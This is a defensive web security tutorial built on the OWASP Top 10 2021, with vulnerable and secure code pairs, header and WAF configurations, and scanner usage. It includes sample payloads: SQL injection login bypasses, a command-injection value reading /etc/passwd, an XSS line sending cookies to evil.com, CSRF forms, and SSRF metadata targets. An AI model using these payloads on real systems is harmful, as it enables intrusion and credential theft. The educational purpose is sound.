Introduction: The Importance of Web Application Security

Most modern businesses operate through web applications. From online shopping, financial services, and social media to enterprise internal systems, web-based services have become core infrastructure. As a result, web applications have become primary targets for attackers, and web security has become the front line of corporate security.

OWASP (Open Web Application Security Project) is the most authoritative non-profit organization in web application security, periodically publishing the "OWASP Top 10," a list of the most critical web security risks. In this article, we'll examine major web vulnerabilities and defense methods in detail based on the OWASP Top 10 2021.

1. OWASP Top 10 2021 Overview

The OWASP Top 10 2021 is the latest version, with significant changes from the previous version (2017).

Rank Vulnerability Description
A01 Broken Access Control Access control failures
A02 Cryptographic Failures Encryption failures
A03 Injection Injection attacks
A04 Insecure Design Insecure design
A05 Security Misconfiguration Security configuration errors
A06 Vulnerable and Outdated Components Vulnerable components
A07 Identification and Authentication Failures Authentication failures
A08 Software and Data Integrity Failures Software integrity failures
A09 Security Logging and Monitoring Failures Logging and monitoring failures
A10 Server-Side Request Forgery (SSRF) Server-side request forgery

2. A01: Broken Access Control

Broken Access Control ranked #1 in the 2021 Top 10. It occurs when users can perform actions beyond their permissions.

2.1 Vulnerability Types

  • Vertical privilege escalation: Regular users accessing admin functions
  • Horizontal privilege escalation: Accessing other users' data
  • IDOR (Insecure Direct Object Reference): Accessing other users' data by manipulating URL parameters
  • Path traversal: Accessing files through directory traversal

2.2 Vulnerable Code Example

# Vulnerable code - IDOR vulnerability
@app.route('/api/user/<user_id>/profile')
def get_user_profile(user_id):
    # Does not verify if user is currently logged in
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# Vulnerable code - No access control for admin function
@app.route('/admin/delete_user/<user_id>')
def delete_user(user_id):
    User.query.filter_by(id=user_id).delete()
    return "User deleted"

2.3 Secure Code Example

# Secure code - IDOR defense
@app.route('/api/user/<user_id>/profile')
@login_required
def get_user_profile(user_id):
    # Only currently logged-in user can access their profile
    if current_user.id != int(user_id):
        abort(403)  # Forbidden
    user = User.query.get(user_id)
    return jsonify(user.to_dict())

# Secure code - Role-based access control
@app.route('/admin/delete_user/<user_id>')
@login_required
@admin_required  # Decorator to verify admin privileges
def delete_user(user_id):
    if not current_user.is_admin:
        abort(403)
    User.query.filter_by(id=user_id).delete()
    return "User deleted"

3. A03: Injection

Injection attacks occur when untrusted data is sent as part of a command or query. SQL Injection is the most common type.

3.1 SQL Injection Attack Types

  • Classic SQL Injection: Extracting information through error messages
  • Blind SQL Injection: Extracting information through true/false responses
  • Time-based Blind SQL Injection: Extracting information through response time differences
  • Union-based SQL Injection: Extracting data using UNION clause

3.2 SQL Injection Attack Examples

-- Vulnerable login query
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

-- Attacker input: username = admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- Result: Password verification bypassed

-- Union-based attack
SELECT name, description FROM products WHERE id = 1 UNION SELECT username, password FROM users--

-- Time-based Blind SQL Injection
SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '0:0:5'--

3.3 SQL Injection Defense

# Vulnerable code
def get_user(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

# Secure code - Prepared Statement (Parameterized Query)
def get_user(username):
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (username,))
    return cursor.fetchone()

# Using ORM (SQLAlchemy)
def get_user(username):
    return User.query.filter_by(username=username).first()
// Java - Using PreparedStatement
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

3.4 Other Injection Attacks

# Command Injection vulnerability
import os
def ping_host(host):
    os.system(f"ping -c 4 {host}")  # Vulnerable!

# Attack: host = "8.8.8.8; cat /etc/passwd"

# Secure code
import subprocess
def ping_host(host):
    # Input validation
    if not re.match(r'^[\d.]+$', host):
        raise ValueError("Invalid host")
    subprocess.run(['ping', '-c', '4', host], capture_output=True)

4. A07: Identification and Authentication Failures

Authentication-related vulnerabilities occur in various areas including session management, password policies, and multi-factor authentication.

4.1 Vulnerability Types

  • Allowing weak passwords
  • Vulnerability to Credential Stuffing attacks
  • Session Fixation
  • Session ID exposed in URL
  • Insecure password recovery

4.2 Secure Authentication Implementation

from flask import Flask, session
from werkzeug.security import generate_password_hash, check_password_hash
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

# Password hashing
def create_user(username, password):
    # Password complexity validation
    if len(password) < 12:
        raise ValueError("Password too short")
    if not re.search(r'[A-Z]', password):
        raise ValueError("Password needs uppercase")
    if not re.search(r'[a-z]', password):
        raise ValueError("Password needs lowercase")
    if not re.search(r'\d', password):
        raise ValueError("Password needs digit")

    hashed = generate_password_hash(password, method='pbkdf2:sha256:310000')
    # Or use bcrypt, argon2
    User.create(username=username, password_hash=hashed)

# Login attempt limiting
from flask_limiter import Limiter

limiter = Limiter(app)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 5 attempts per minute
def login():
    username = request.form['username']
    password = request.form['password']

    user = User.query.filter_by(username=username).first()
    if user and check_password_hash(user.password_hash, password):
        session.regenerate()  # Regenerate session ID
        session['user_id'] = user.id
        return redirect('/dashboard')

    # Generic message on failure (prevent information leakage)
    return "Invalid credentials", 401

5. XSS (Cross-Site Scripting) Attacks and Defense

XSS is an attack where an attacker injects malicious scripts into web pages to execute them in other users' browsers.

5.1 XSS Types

  • Stored XSS: Malicious script stored on server and delivered to other users
  • Reflected XSS: Malicious script reflected through URL and executed
  • DOM-based XSS: Occurs in client-side JavaScript

5.2 XSS Attack Examples

<!-- Stored XSS: Forum comment -->
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

<!-- Reflected XSS: Search results page -->
https://example.com/search?q=<script>alert('XSS')</script>

<!-- Various XSS payloads -->
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">
<iframe src="javascript:alert('XSS')">

5.3 XSS Defense

# Python Flask - Auto-escaping (Jinja2)
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    # Auto-escaping in template
    return render_template('search.html', query=query)

# Manual escaping when needed
safe_input = escape(user_input)
// Safe DOM manipulation in JavaScript
// Vulnerable code
element.innerHTML = userInput;

// Secure code
element.textContent = userInput;

// Or use DOMPurify library
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

5.4 Content Security Policy (CSP)

# CSP header configuration in Nginx
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-randomvalue' https://trusted-cdn.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https:;
    font-src 'self' https://fonts.googleapis.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
" always;
<!-- Using nonce in HTML -->
<script nonce="randomvalue">
    // Only this script will execute
    console.log('Allowed script');
</script>

6. CSRF (Cross-Site Request Forgery)

CSRF is an attack that uses an authenticated user's privileges to send requests desired by the attacker.

6.1 CSRF Attack Examples

<!-- CSRF attack code embedded in malicious website -->
<!-- GET request using image tag -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">

<!-- POST request using form -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>

6.2 CSRF Defense

# CSRF token using Flask-WTF
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
csrf = CSRFProtect(app)

# Using CSRF token in template
# <form method="post">
#     {{ csrf_token() }}
#     ...
# </form>

# For AJAX requests
# headers: {'X-CSRFToken': csrf_token}
// Including CSRF token in JavaScript
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
    },
    body: JSON.stringify({to: 'recipient', amount: 100})
});

6.3 SameSite Cookie Configuration

# Flask session cookie configuration
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Strict'  # or 'Lax'
)

7. SSRF (Server-Side Request Forgery)

SSRF is an attack that makes the server send requests to attacker-specified URLs. It's exploited for internal network access and cloud metadata theft.

7.1 SSRF Attack Scenarios

# AWS metadata theft
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Internal service access
http://localhost:8080/admin
http://192.168.1.1/router-config

# File reading
file:///etc/passwd

7.2 SSRF Defense

import ipaddress
from urllib.parse import urlparse

def is_safe_url(url):
    """URL validation for SSRF defense"""
    try:
        parsed = urlparse(url)

        # Protocol validation
        if parsed.scheme not in ['http', 'https']:
            return False

        # IP address validation
        hostname = parsed.hostname
        if hostname:
            try:
                ip = ipaddress.ip_address(hostname)
                # Block private IP, loopback, link-local
                if ip.is_private or ip.is_loopback or ip.is_link_local:
                    return False
            except ValueError:
                # Domain case - whitelist validation
                allowed_domains = ['api.trusted.com', 'cdn.example.com']
                if hostname not in allowed_domains:
                    # Check IP to prevent DNS rebinding
                    import socket
                    resolved_ip = socket.gethostbyname(hostname)
                    ip = ipaddress.ip_address(resolved_ip)
                    if ip.is_private or ip.is_loopback:
                        return False

        return True
    except Exception:
        return False

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    if not is_safe_url(url):
        abort(400, "Invalid URL")
    response = requests.get(url, timeout=5)
    return response.content

8. Security Header Configuration

8.1 Key Security Headers

# Nginx security header configuration
server {
    # Enable XSS filter
    add_header X-XSS-Protection "1; mode=block" always;

    # Prevent MIME sniffing
    add_header X-Content-Type-Options "nosniff" always;

    # Prevent clickjacking
    add_header X-Frame-Options "DENY" always;

    # Force HTTPS (HSTS)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    # Referrer policy
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Permissions policy
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

    # Content Security Policy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';" always;
}

8.2 Apache Configuration

# .htaccess or httpd.conf
Header always set X-XSS-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'"

8.3 Express.js (Helmet Middleware)

const express = require('express');
const helmet = require('helmet');

const app = express();

// Default security header configuration
app.use(helmet());

// Detailed configuration
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", "'unsafe-inline'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
            imgSrc: ["'self'", "data:", "https:"],
        },
    },
    hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
    },
    frameguard: { action: 'deny' },
    noSniff: true,
    xssFilter: true
}));

9. WAF (Web Application Firewall)

9.1 WAF Concepts

A WAF is a security solution that filters and monitors HTTP traffic between web applications and the Internet. It blocks various web attacks including SQL Injection, XSS, and CSRF.

WAF Operation Methods:

  • Signature-based: Matching known attack patterns
  • Behavior-based: Detecting abnormal request patterns
  • ML/AI-based: Detecting new attacks with machine learning

9.2 ModSecurity Configuration (Open Source WAF)

# ModSecurity installation (Ubuntu + Nginx)
sudo apt install libmodsecurity3 libmodsecurity-dev
sudo apt install libnginx-mod-http-modsecurity

# Download OWASP CRS (Core Rule Set)
cd /etc/nginx
sudo git clone https://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
# Nginx ModSecurity configuration
# /etc/nginx/modsec/modsecurity.conf
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/xml
SecDataDir /tmp/
SecAuditEngine RelevantOnly
SecAuditLog /var/log/nginx/modsec_audit.log

# Enable in Nginx server block
server {
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsec/main.conf;

    location / {
        proxy_pass http://backend;
    }
}

9.3 Cloud WAF Services

  • AWS WAF: Integrated with AWS environment, works with CloudFront, ALB
  • Cloudflare WAF: WAF service integrated with CDN
  • Azure WAF: Integrated with Application Gateway
  • Google Cloud Armor: Integrated with GCP load balancer
# AWS WAF CLI rule creation example
aws wafv2 create-web-acl \
    --name "MyWebACL" \
    --scope REGIONAL \
    --default-action '{"Allow": {}}' \
    --rules '[
        {
            "Name": "SQLInjectionRule",
            "Priority": 1,
            "Statement": {
                "SqliMatchStatement": {
                    "FieldToMatch": {"AllQueryArguments": {}},
                    "TextTransformations": [{"Priority": 0, "Type": "URL_DECODE"}]
                }
            },
            "Action": {"Block": {}},
            "VisibilityConfig": {
                "SampledRequestsEnabled": true,
                "CloudWatchMetricsEnabled": true,
                "MetricName": "SQLInjection"
            }
        }
    ]' \
    --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=MyWebACL

10. Web Vulnerability Scanners

10.1 OWASP ZAP (Zed Attack Proxy)

OWASP ZAP is a free, open-source web application security scanner.

# Run OWASP ZAP with Docker
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://example.com

# Scan via API
docker run -u zap -p 8080:8080 -d owasp/zap2docker-stable zap.sh -daemon -host 0.0.0.0 -port 8080

# Using Python API
from zapv2 import ZAPv2

zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})

# Run Spider
scan_id = zap.spider.scan('https://example.com')
while int(zap.spider.status(scan_id)) < 100:
    time.sleep(5)

# Run Active Scan
scan_id = zap.ascan.scan('https://example.com')
while int(zap.ascan.status(scan_id)) < 100:
    time.sleep(5)

# Output results
print(zap.core.alerts())

10.2 Nikto

Nikto is a web server vulnerability scanner that detects server configuration errors and vulnerable files.

# Nikto installation and execution
sudo apt install nikto

# Basic scan
nikto -h https://example.com

# SSL scan
nikto -h https://example.com -ssl

# Specific port scan
nikto -h example.com -p 8080

# Save results to file
nikto -h https://example.com -o report.html -Format html

# Tuning options (perform specific tests only)
# 1 - Interesting files/CGI
# 2 - Default files
# 3 - Information disclosure
# 4 - Injection (XSS/Script/HTML)
nikto -h https://example.com -Tuning 1234

10.3 Burp Suite

Burp Suite is an integrated platform for web application security testing.

# Burp Suite proxy configuration (in browser)
HTTP Proxy: 127.0.0.1:8080

# Key features:
# - Proxy: Intercept and modify HTTP/HTTPS traffic
# - Spider: Website crawling
# - Scanner: Automated vulnerability scanning (Pro version)
# - Intruder: Automated attacks (brute force, etc.)
# - Repeater: Manually modify and resend requests
# - Decoder: Encoding/decoding tools
# - Comparer: Response comparison

10.4 Automated Security Testing Pipeline

# GitHub Actions - Security Scan Workflow
name: Security Scan

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Run OWASP ZAP Baseline Scan
        uses: zaproxy/action-baseline@v0.7.0
        with:
          target: 'https://staging.example.com'
          rules_file_name: '.zap/rules.tsv'

      - name: Run Nikto Scan
        run: |
          docker run --rm frapsoft/nikto -h https://staging.example.com -o /dev/stdout

      - name: Upload ZAP Report
        uses: actions/upload-artifact@v3
        with:
          name: zap-report
          path: report_html.html

Conclusion

Defense in Depth strategy is essential for web application security. Here's a summary of what we covered:

  • OWASP Top 10: Understand the most important web security risks
  • Input validation: All user input is potentially dangerous and requires thorough validation
  • Output encoding: Proper escaping to prevent XSS
  • Authentication/Authorization: Strong authentication mechanisms and granular permission management
  • Security headers: Utilize browser security features like CSP, HSTS
  • WAF: Additional security layer to block known attack patterns
  • Regular scanning: Continuous security checks with vulnerability scanners

Web security should be considered from the early stages of development (Shift Left Security), and a DevSecOps approach that integrates security testing into the CI/CD pipeline is recommended. In the next part, we'll cover network monitoring and log analysis.